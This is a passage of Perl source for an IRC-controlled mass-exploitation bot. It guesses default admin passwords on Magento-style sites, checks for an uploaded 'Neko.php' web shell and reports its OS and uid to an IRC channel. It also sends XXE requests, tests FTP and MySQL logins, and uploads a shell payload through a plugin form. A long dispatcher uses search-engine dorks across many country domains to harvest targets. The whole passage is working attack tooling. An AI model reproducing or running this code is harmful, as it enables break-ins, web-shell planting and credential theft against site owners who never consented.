&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ miyabi ] 2[ wew ]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ miyabi ] 2[ wew ]");
}
}
}
sub ceklogin11() {
my $website = $_[0];
my $engine = $_[1];
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "stores";
$form{password} = "stores";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]");
&msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ stores ] 2[ stores ]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ stores ] 2[ stores ]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ stores ] 2[ stores ]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ stores ] 2[ stores ]");
}
}
}
sub ceklogin12() {
my $website = $_[0];
my $engine = $_[1];
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "sadmin";
$form{password} = "asdf";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Return to Admin/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1OKx!]");
&msg("$channel","4[cekLog] 14*10!14* 10$engine 14*10!14* 4[cekLog] 6".$website." 1---> [9,1OK!] 5[ sadmin ] 2[ asdf ]");
}
elsif ($res =~ /Warning:/i) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1Cant Upload package] 5[ sadmin ] 2[ asdf ]");
}
elsif ($res =~ /ASchroder_SMTPPro/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1SMTP package instaled] 5[ sadmin ] 2[ asdf ]");
}
elsif ($res =~ /File_System/) {
&msg("$channel","14*10!14* 10$engine 14*10!14* 6http://".$site." 1---> [9,1Cant Upload package]");
&msg("$channel","14*10!14* 10$engine 14*10!14* 6".$website." 1---> [9,1File_System package instaled] 5[ sadmin ] 2[ asdf ]");
}
}
}
sub cekshell() {
my $site = $_[0];
my $test1 = "http://".$site."/Neko.php";
my $shellx = &get_content($test1);
if ($shellx =~ /IAM - k4l0nk/) {
my $safe = "";
my $os = "";
my $uid = "";
if ($shellx =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
if ($shellx =~ /Uname : (.*?)<\/b>/){$os=$1;}
if ($shellx =~ /uid=(.*?)gid=/){$uid=$1;}
&msg("$channel","$logo(7@2$engine15) 4Exploited! Safemode $safe 5Sent To $channelnel 3$os 7Uid= $uid ");
&msg("$channel","$logo(7@2$engine15) 4Shell $safe 12".$test1." 3$os 7Uid=$uid 14Dork: $dork");
}
}
sub xxe_query() {
my $jembut = $_[0];
my $userAgent = LWP::UserAgent->new(agent => 'perl post');
$b = "";
$b .= " ]>";
$b .= "&xxe;";
my $response = $userAgent->request(POST $jembut , Content_Type => 'text/xml', Content => $b);
return $response->content;
}
sub xxe(){
my $channel = $_[0];
my $ua = LWP::UserAgent->new(agent => 'curl -x post -d');
$exploit = "";
$exploit .= "";
$exploit .= "]>";
$exploit .= "&xxe;";
$ua->timeout(2);
my $res = $ua->request(POST $url, Content_Type => 'api/xmlrpc', Content => $exploit);
return $res->content;
}
sub ftp_connect {
my $url = $_[0];
my $host = $_[1];
my $user = $_[2];
my $pass = $_[3];
my $channel = $_[4];
my $engine = $_[5];
my $logo = $_[6];
my $success = 1;
use Net::FTP;
my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7);
$success = 0 if $ftp->login($user,$pass);
$ftp->quit;
if ($success == 0) {
&msg("$channel","$magelogo [FTP] [ http://".$host." ] [ ".$user." : ".$pass." ]");
}
}
sub ftp_connect2 {
my $url = $_[0];
my $host = $_[1];
my $userr = $_[2];
my $pass = $_[3];
my $channel = $_[4];
my $engine = $_[5];
my $logo = $_[6];
my $success = 1;
use Net::FTP;
my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7);
$success = 0 if $ftp->login($userr,$pass);
$ftp->quit;
if ($success == 0) {
&msg("$channel","$magelogo [FTP] [ http://".$host." ] [ ".$userr." : ".$pass." ]");
}
}
sub dbi_connect () {
my $host = $_[0];
my $user = $_[1];
my $pass = $_[2];
my $dbname = $_[3];
my $channel = $_[4];
my $engine = $_[5];
my $logo = $_[6];
my $port = "3306";
my $platform = "mysql";
my $dsn = "dbi:$platform:$dbname:$host:$port";
my $DBIconnect= DBI->connect($dsn,$user,$pass);
if ($DBIconnect) {
&msg("$channel","$magelogo [FTP] MySql [ http://".$host." ] [ ".$user." : ".$pass." ]");
}
}
sub magento_query() {
my $url = $_[0];
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(20);
my $req = $ua->post($url,
Content_Type=>'multipart/form-data',
Content=>["plugin_package"=>["$mag_shell"]]);
return $req->content;
}
sub magentox_query() {
my $url = $_[0];
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(20);
my $req = $ua->post($url,
Content_Type=>'multipart/form-data',
Content=>["plugin_package"=>["$mag_shell"]]);
return $req->content;
}
##################################################################################
sub search_engine() {
my (@total,@clean);
my $channel = $_[0];
my $bug = $_[1];
my $dork = $_[2];
my $engine = $_[3];
my $logo = $_[4];
my @vulnn = "+logo","+?p=","+page_id=","+/wp-content","Index of /wp-content +/cache","All rights reserved","?src=","2012","horde","Powered BY","shop","welcome","allright","copyright","construct","mall","mart","industry","book","store";
my $vuln = $vulnn[rand(scalar(@vulnn))];
if ($engine eq "JacKAE") { my @jackae = &jack($dork."+site:ae",$jack1); push(@total,@jackae); }
if ($engine eq "JacKAR") { my @jackar = &jack($dork."+site:ar",$jack1); push(@total,@jackar); }
if ($engine eq "JacKAT") { my @jackat = &jack($dork."+site:at",$jack1); push(@total,@jackat); }
if ($engine eq "JacKAU") { my @jackau = &jack($dork."+site:au",$jack2); push(@total,@jackau); }
if ($engine eq "JacKBR") { my @jackbr = &jack($dork."+site:br",$jack2); push(@total,@jackbr); }
if ($engine eq "JacKCA") { my @jackca = &jack($dork."+site:ca",$jack2); push(@total,@jackca); }
if ($engine eq "JacKCL") { my @jackcl = &jack($dork."+site:cl",$jack3); push(@total,@jackcl); }
if ($engine eq "JacKCN") { my @jackcn = &jack($dork."+site:cn",$jack3); push(@total,@jackcn); }
if ($engine eq "JacKCoM") { my @jackcom = &jack($dork."+site:com",$jack27); push(@total,@jackcom); }
if ($engine eq "JacKCZ") { my @jackcz = &jack($dork."+site:cz",$jack4); push(@total,@jackcz); }
if ($engine eq "JacKDE") { my @jackde = &jack($dork."+site:de",$jack4); push(@total,@jackde); }
if ($engine eq "JacKDK") { my @jackdk = &jack($dork."+site:dk",$jack4); push(@total,@jackdk); }
if ($engine eq "JacKES") { my @jackes = &jack($dork."+site:es",$jack5); push(@total,@jackes); }
if ($engine eq "JacKEU") { my @jackeu = &jack($dork."+site:eu",$jack5); push(@total,@jackeu); }
if ($engine eq "JacKFR") { my @jackfr = &jack($dork."+site:fr",$jack5); push(@total,@jackfr); }
if ($engine eq "JacKHU") { my @jackhu = &jack($dork."+site:hu",$jack6); push(@total,@jackhu); }
if ($engine eq "JacKID") { my @jackid = &jack($dork."+site:id",$jack6); push(@total,@jackid); }
if ($engine eq "JacKIL") { my @jackil = &jack($dork."+site:il",$jack6); push(@total,@jackil); }
if ($engine eq "JacKIN") { my @jackin = &jack($dork."+site:in",$jack7); push(@total,@jackin); }
if ($engine eq "JacKInfO") { my @jackinfo = &jack($dork."+site:info",$jack7); push(@total,@jackinfo); }
if ($engine eq "JacKIR") { my @jackir = &jack($dork."+site:ir",$jack7); push(@total,@jackir); }
if ($engine eq "JacKIT") { my @jackit = &jack($dork."+site:it",$jack8); push(@total,@jackit); }
if ($engine eq "JacKJP") { my @jackjp = &jack($dork."+site:jp",$jack8); push(@total,@jackjp); }
if ($engine eq "JacKKR") { my @jackkr = &jack($dork."+site:kr",$jack8); push(@total,@jackkr); }
if ($engine eq "JacKMX") { my @jackmx = &jack($dork."+site:mx",$jack9); push(@total,@jackmx); }
if ($engine eq "JacKMY") { my @jackmy = &jack($dork."+site:my",$jack9); push(@total,@jackmy); }
if ($engine eq "JacKNeT") { my @jacknet = &jack($dork."+site:net",$jack9); push(@total,@jacknet); }
if ($engine eq "JacKNL") { my @jacknl = &jack($dork."+site:nl",$jack10); push(@total,@jacknl); }
if ($engine eq "JacKOrG") { my @jackorg = &jack($dork."+site:org",$jack10); push(@total,@jackorg); }
if ($engine eq "JacKPH") { my @jackph = &jack($dork."+site:ph",$jack10); push(@total,@jackph); }
if ($engine eq "JacKPL") { my @jackpl = &jack($dork."+site:pl",$jack11); push(@total,@jackpl); }
if ($engine eq "JacKRO") { my @jackro = &jack($dork."+site:ro",$jack11); push(@total,@jackro); }
if ($engine eq "JacKRU") { my @jackru = &jack($dork."+site:ru",$jack11); push(@total,@jackru); }
if ($engine eq "JacKTH") { my @jackth = &jack($dork."+site:th",$jack12); push(@total,@jackth); }
if ($engine eq "JacKUA") { my @jackua = &jack($dork."+site:ua",$jack12); push(@total,@jackua); }
if ($engine eq "JacKUK") { my @jackuk = &jack($dork."+site:uk",$jack12); push(@total,@jackuk); }
if ($engine eq "JacKUS") { my @jackus = &jack($dork."+site:us",$jack13); push(@total,@jackus); }
if ($engine eq "JacKBA") { my @jackba = &jack($dork."+site:ba",$jack13); push(@total,@jackba); }
if ($engine eq "JacKBB") { my @jackbb = &jack($dork."+site:bb",$jack13); push(@total,@jackbb); }
if ($engine eq "JacKBD") { my @jackbd = &jack($dork."+site:bd",$jack14); push(@total,@jackbd); }
if ($engine eq "JacKCC") { my @jackcc = &jack($dork."+site:cc",$jack14); push(@total,@jackcc); }
if ($engine eq "JacKCO") { my @jackco = &jack($dork."+site:co",$jack14); push(@total,@jackco); }
if ($engine eq "JacKCM") { my @jackcm = &jack($dork."+site:cm",$jack15); push(@total,@jackcm); }
if ($engine eq "JacKHK") { my @jackhk = &jack($dork."+site:hk",$jack15); push(@total,@jackhk); }
if ($engine eq "JacKNG") { my @jackng = &jack($dork."+site:ng",$jack15); push(@total,@jackng); }
if ($engine eq "JacKTR") { my @jacktr = &jack($dork."+site:tr",$jack16); push(@total,@jacktr); }
if ($engine eq "JacKZA") { my @jackza = &jack($dork."+site:za",$jack16); push(@total,@jackza); }
if ($engine eq "JacKTW") { my @jacktw = &jack($dork."+site:tw",$jack16); push(@total,@jacktw); }
if ($engine eq "JacKTV") { my @jacktv = &jack($dork."+site:tv",$jack17); push(@total,@jacktv); }
if ($engine eq "JacKPE") { my @jackpe = &jack($dork."+site:pe",$jack17); push(@total,@jackpe); }
if ($engine eq "JacKLR") { my @jacklr = &jack($dork."+site:lr",$jack17); push(@total,@jacklr); }
if ($engine eq "JacKIS") { my @jackis = &jack($dork."+site:is",$jack18); push(@total,@jackis); }
if ($engine eq "JacKFI") { my @jackfi = &jack($dork."+site:fi",$jack18); push(@total,@jackfi); }
if ($engine eq "JacKEG") { my @jackeg = &jack($dork."+site:eg",$jack18); push(@total,@jackeg); }
if ($engine eq "JacKAQ") { my @jackaq = &jack($dork."+site:aq",$jack19); push(@total,@jackaq); }
if ($engine eq "JacKVI") { my @jackvi = &jack($dork."+site:vi",$jack19); push(@total,@jackvi); }
if ($engine eq "JacKSY") { my @jacksy = &jack($dork."+site:sy",$jack19); push(@total,@jacksy); }
if ($engine eq "JacKLY") { my @jackly = &jack($dork."+site:ly",$jack20); push(@total,@jackly); }
if ($engine eq "JacKMC") { my @jackmc = &jack($dork."+site:mc",$jack20); push(@total,@jackmc); }
if ($engine eq "JacKPT") { my @jackpt = &jack($dork."+site:pt",$jack20); push(@total,@jackpt); }
if ($engine eq "JacKVE") { my @jackve = &jack($dork."+site:ve",$jack21); push(@total,@jackve); }
if ($engine eq "JacKUY") { my @jackuy = &jack($dork."+site:uy",$jack21); push(@total,@jackuy); }
if ($engine eq "JacKEH") { my @jackeh = &jack($dork."+site:eh",$jack21); push(@total,@jackeh); }
if ($engine eq "JacKGB") { my @jackgb = &jack($dork."+site:gb",$jack22); push(@total,@jackgb); }
if ($engine eq "JacKVN") { my @jackvn = &jack($dork."+site:vn",$jack22); push(@total,@jackvn); }
if ($engine eq "JacKWF") { my @jackwf = &jack($dork."+site:wf",$jack22); push(@total,@jackwf); }
if ($engine eq "JacKUZ") { my @jackuz = &jack($dork."+site:uz",$jack23); push(@total,@jackuz); }
if ($engine eq "JacKTC") { my @jacktc = &jack($dork."+site:tc",$jack23); push(@total,@jacktc); }
if ($engine eq "JacKCH") { my @jackch = &jack($dork."+site:ch",$jack23); push(@total,@jackch); }
if ($engine eq "JacKSB") { my @jacksb = &jack($dork."+site:sb",$jack24); push(@total,@jacksb); }
if ($engine eq "JacKSG") { my @jacksg = &jack($dork."+site:sg",$jack25); push(@total,@jacksg); }
if ($engine eq "JacKSA") { my @jacksa = &jack($dork."+site:sa",$jack25); push(@total,@jacksa); }
if ($engine eq "JacKSK") { my @jacksk = &jack($dork."+site:sk",$jack25); push(@total,@jacksk); }
if ($engine eq "JacKSI") { my @jacksi = &jack($dork."+site:si",$jack26); push(@total,@jacksi); }
if ($engine eq "JacKBE") { my @jackbe = &jack($dork."+site:be",$jack26); push(@total,@jackbe); }
if ($engine eq "JacKBIZ") { my @jackbiz = &jack($dork."+site:biz",$jack26); push(@total,@jackbiz); }
if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); }
if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); }
if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); }
if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); }
if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); }
if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); }
if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); }
if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); }
if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); }
if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); }
if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); }
if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); }
if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); }
if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); }
if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); }
if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); }
if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); }
if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
if ($engine eq "AE") { my @ae = &ae($dork); push(@total,@ae); }
if ($engine eq "AR") { my @ar = &ar($dork); push(@total,@ar); }
if ($engine eq "AT") { my @at = &at($dork); push(@total,@at); }
if ($engine eq "AU") { my @au = &au($dork); push(@total,@au); }
if ($engine eq "BR") { my @br = &br($dork); push(@total,@br); }
if ($engine eq "CA") { my @ca = &ca($dork); push(@total,@ca); }
if ($engine eq "CL") { my @cl = &cl($dork); push(@total,@cl); }
if ($engine eq "CN") { my @cn = &cn($dork); push(@total,@cn); }
if ($engine eq "CoM") { my @com = &com($dork); push(@total,@com); }
if ($engine eq "CZ") { my @cz = &cz($dork); push(@total,@cz); }
if ($engine eq "DE") { my @de = &de($dork); push(@total,@de); }
if ($engine eq "DK") { my @dk = &dk($dork); push(@total,@dk); }
if ($engine eq "ES") { my @es = &es($dork); push(@total,@es); }
if ($engine eq "EU") { my @eu = &eu($dork); push(@total,@eu); }
if ($engine eq "FR") { my @fr = &fr($dork); push(@total,@fr); }
if ($engine eq "HU") { my @hu = &hu($dork); push(@total,@hu); }
if ($engine eq "ID") { my @id = &id($dork); push(@total,@id); }
if ($engine eq "IL") { my @il = &il($dork); push(@total,@il); }
if ($engine eq "IN") { my @in = &in($dork); push(@total,@in); }
if ($engine eq "InfO") { my @info = &info($dork); push(@total,@info); }
if ($engine eq "IR") { my @ir = &ir($dork); push(@total,@ir); }
if ($engine eq "IT") { my @it = &it($dork); push(@total,@it); }
if ($engine eq "JP") { my @jp = &jp($dork); push(@total,@jp); }
if ($engine eq "KR") { my @kr = &kr($dork); push(@total,@kr); }
if ($engine eq "MX") { my @mx = &mx($dork); push(@total,@mx); }
if ($engine eq "MY") { my @my = &my($dork); push(@total,@my); }
if ($engine eq "NeT") { my @net = &net($dork); push(@total,@net); }
if ($engine eq "NL") { my @nl = &nl($dork); push(@total,@nl); }
if ($engine eq "OrG") { my @org = &org($dork); push(@total,@org); }
if ($engine eq "PH") { my @ph = &ph($dork); push(@total,@ph); }
if ($engine eq "PL") { my @pl = &pl($dork); push(@total,@pl); }
if ($engine eq "RO") { my @ro = &ro($dork); push(@total,@ro); }
if ($engine eq "RU") { my @ru = &ru($dork); push(@total,@ru); }
if ($engine eq "TH") { my @th = &th($dork); push(@total,@th); }
if ($engine eq "UA") { my @ua = &ua($dork); push(@total,@ua); }
if ($engine eq "UK") { my @uk = &uk($dork); push(@total,@uk); }
if ($engine eq "US") { my @us = &us($dork); push(@total,@us); }
if ($engine eq "SI") { my @si = &si($dork); push(@total,@si); }
if ($engine eq "BE") { my @be = &be($dork); push(@total,@be); }
if ($engine eq "BIZ") { my @biz = &biz($dork); push(@total,@biz); }
if ($engine eq "XXX") { my @xxx = &xxx($dork); push(@total,@xxx); }
if ($engine eq "TEL") { my @tel = &tel($dork); push(@total,@tel); }
if ($engine eq "TV") { my @tv = &tv($dork); push(@total,@tv); }
if ($engine eq "CC") { my @cc = &cc($dork); push(@total,@cc); }
if ($engine eq "MIL") { my @mil = &mil($dork); push(@total,@mil); }
if ($engine eq "ASIA") { my @asia = &asia($dork); push(@total,@asia); }
if ($engine eq "NAME") { my @name = &name($dork); push(@total,@name); }
if ($engine eq "PRO") { my @pro = &pro($dork); push(@total,@pro); }
if ($engine eq "TRAVEL") { my @travel = &travel($dork); push(@total,@travel); }
if ($engine eq "JOBS") { my @jobs = &jobs($dork); push(@total,@jobs); }
if ($engine eq "MOBI") { my @mobi = &mobi($dork); push(@total,@mobi); }
if ($engine eq "AERO") { my @aero = &aero($dork); push(@total,@aero); }
if ($engine eq "CAT") { my @cat = &cat($dork); push(@total,@cat); }
if ($engine eq "COOP") { my @coop = &coop($dork); push(@total,@coop); }
if ($engine eq "EDU") { my @edu = &edu($dork); push(@total,@edu); }
if ($engine eq "GOV") { my @gov = &gov($dork); push(@total,@gov); }
if ($engine eq "AS") { my @as = &as($dork); push(@total,@as); }
if ($engine eq "AI") { my @ai = &ai($dork); push(@total,@ai); }
if ($engine eq "AG") { my @ag = &ag($dork); push(@total,@ag); }
if ($engine eq "AZ") { my @az = &az($dork); push(@total,@az); }
if ($engine eq "BH") { my @bh = &bh($dork); push(@total,@bh); }
if ($engine eq "BD") { my @bd = &bd($dork); push(@total,@bd); }
if ($engine eq "BZ") { my @bz = &bz($dork); push(@total,@bz); }
if ($engine eq "BO") { my @bo = &bo($dork); push(@total,@bo); }
if ($engine eq "BA") { my @ba = &ba($dork); push(@total,@ba); }
if ($engine eq "VG") { my @vg = &vg($dork); push(@total,@vg); }
if ($engine eq "BG") { my @bg = &bg($dork); push(@total,@bg); }
if ($engine eq "BI") { my @bi = &bi($dork); push(@total,@bi); }
if ($engine eq "CO") { my @co = &co($dork); push(@total,@co); }
if ($engine eq "CD") { my @cd = &cd($dork); push(@total,@cd); }
if ($engine eq "CG") { my @cg = &cg($dork); push(@total,@cg); }
if ($engine eq "CK") { my @ck = &ck($dork); push(@total,@ck); }
if ($engine eq "CR") { my @cr = &cr($dork); push(@total,@cr); }
if ($engine eq "HR") { my @hr = &hr($dork); push(@total,@hr); }
if ($engine eq "CU") { my @cu = &cu($dork); push(@total,@cu); }
if ($engine eq "CI") { my @ci = &ci($dork); push(@total,@ci); }
if ($engine eq "DJ") { my @dj = &dj($dork); push(@total,@dj); }
if ($engine eq "DM") { my @dm = &dm($dork); push(@total,@dm); }
if ($engine eq "DO") { my @do = &do($dork); push(@total,@do); }
if ($engine eq "EC") { my @ec = &ec($dork); push(@total,@ec); }
if ($engine eq "EG") { my @eg = &eg($dork); push(@total,@eg); }
if ($engine eq "SV") { my @sv = &sv($dork); push(@total,@sv); }
if ($engine eq "EE") { my @ee = &ee($dork); push(@total,@ee); }
if ($engine eq "ET") { my @et = &et($dork); push(@total,@et); }
if ($engine eq "FJ") { my @fj = &fj($dork); push(@total,@fj); }
if ($engine eq "FI") { my @fi = &fi($dork); push(@total,@fi); }
if ($engine eq "GM") { my @gm = &gm($dork); push(@total,@gm); }
if ($engine eq "GI") { my @gi = &gi($dork); push(@total,@gi); }
if ($engine eq "GR") { my @gr = &gr($dork); push(@total,@gr); }
if ($engine eq "GL") { my @gl = &gl($dork); push(@total,@gl); }
if ($engine eq "GT") { my @gt = >($dork); push(@total,@gt); }
if ($engine eq "GG") { my @gg = &gg($dork); push(@total,@gg); }
if ($engine eq "HT") { my @ht = &ht($dork); push(@total,@ht); }
if ($engine eq "HN") { my @hn = &hn($dork); push(@total,@hn); }
if ($engine eq "HK") { my @hk = &hk($dork); push(@total,@hk); }
if ($engine eq "IS") { my @is = &is($dork); push(@total,@is); }
if ($engine eq "IE") { my @ie = &ie($dork); push(@total,@ie); }
if ($engine eq "IM") { my @im = &im($dork); push(@total,@im); }
if ($engine eq "JE") { my @je = &je($dork); push(@total,@je); }
if ($engine eq "JO") { my @jo = &jo($dork); push(@total,@jo); }
if ($engine eq "KZ") { my @kz = &kz($dork); push(@total,@kz); }
if ($engine eq "KE") { my @ke = &ke($dork); push(@total,@ke); }
if ($engine eq "KG") { my @kg = &kg($dork); push(@total,@kg); }
if ($engine eq "LV") { my @lv = &lv($dork); push(@total,@lv); }
if ($engine eq "LS") { my @ls = &ls($dork); push(@total,@ls); }
if ($engine eq "LY") { my @ly = &ly($dork); push(@total,@ly); }
if ($engine eq "LI") { my @li = &li($dork); push(@total,@li); }
if ($engine eq "LT") { my @lt = <($dork); push(@total,@lt); }
if ($engine eq "LU") { my @lu = &lu($dork); push(@total,@lu); }
if ($engine eq "MW") { my @mw = &mw($dork); push(@total,@mw); }
if ($engine eq "MT") { my @mt = &mt($dork); push(@total,@mt); }
if ($engine eq "MU") { my @mu = &mu($dork); push(@total,@mu); }
if ($engine eq "FM") { my @fm = &fm($dork); push(@total,@fm); }
if ($engine eq "MN") { my @mn = &mn($dork); push(@total,@mn); }
if ($engine eq "MS") { my @ms = &ms($dork); push(@total,@ms); }
if ($engine eq "MA") { my @ma = &ma($dork); push(@total,@ma); }
if ($engine eq "NA") { my @na = &na($dork); push(@total,@na); }
if ($engine eq "NP") { my @np = &np($dork); push(@total,@np); }
if ($engine eq "NZ") { my @nz = &nz($dork); push(@total,@nz); }
if ($engine eq "NI") { my @ni = &ni($dork); push(@total,@ni); }
if ($engine eq "NF") { my @nf = &nf($dork); push(@total,@nf); }
if ($engine eq "NO") { my @no = &no($dork); push(@total,@no); }
if ($engine eq "OM") { my @om = &om($dork); push(@total,@om); }
if ($engine eq "PK") { my @pk = &pk($dork); push(@total,@pk); }
if ($engine eq "PA") { my @pa = &pa($dork); push(@total,@pa); }
if ($engine eq "PY") { my @py = &py($dork); push(@total,@py); }
if ($engine eq "PE") { my @pe = &pe($dork); push(@total,@pe); }
if ($engine eq "PN") { my @pn = &pn($dork); push(@total,@pn); }
if ($engine eq "PT") { my @pt = &pt($dork); push(@total,@pt); }
if ($engine eq "PR") { my @pr = &pr($dork); push(@total,@pr); }
if ($engine eq "QA") { my @qa = &qa($dork); push(@total,@qa); }
if ($engine eq "RW") { my @rw = &rw($dork); push(@total,@rw); }
if ($engine eq "SH") { my @sh = &sh($dork); push(@total,@sh); }
if ($engine eq "SM") { my @sm = &sm($dork); push(@total,@sm); }
if ($engine eq "SA") { my @sa = &sa($dork); push(@total,@sa); }
if ($engine eq "SN") { my @sn = &sn($dork); push(@total,@sn); }
if ($engine eq "SC") { my @sc = &sc($dork); push(@total,@sc); }
if ($engine eq "SG") { my @sg = &sg($dork); push(@total,@sg); }
if ($engine eq "SK") { my @sk = &sk($dork); push(@total,@sk); }
if ($engine eq "ZA") { my @za = &za($dork); push(@total,@za); }
if ($engine eq "LK") { my @lk = &lk($dork); push(@total,@lk); }
if ($engine eq "VC") { my @vc = &vc($dork); push(@total,@vc); }
if ($engine eq "SE") { my @se = &se($dork); push(@total,@se); }
if ($engine eq "CH") { my @ch = &ch($dork); push(@total,@ch); }
if ($engine eq "TW") { my @tw = &tw($dork); push(@total,@tw); }
if ($engine eq "TJ") { my @tj = &tj($dork); push(@total,@tj); }
if ($engine eq "BS") { my @bs = &bs($dork); push(@total,@bs); }
if ($engine eq "TO") { my @to = &to($dork); push(@total,@to); }
if ($engine eq "TT") { my @tt = &tt($dork); push(@total,@tt); }
if ($engine eq "TR") { my @tr = &tr($dork); push(@total,@tr); }
if ($engine eq "TM") { my @tm = &tm($dork); push(@total,@tm); }
if ($engine eq "VI") { my @vi = &vi($dork); push(@total,@vi); }
if ($engine eq "UG") { my @ug = &ug($dork); push(@total,@ug); }
if ($engine eq "UY") { my @uy = &uy($dork); push(@total,@uy); }
if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); }
if ($engine eq "VE") { my @ve = &ve($dork); push(@total,@ve); }
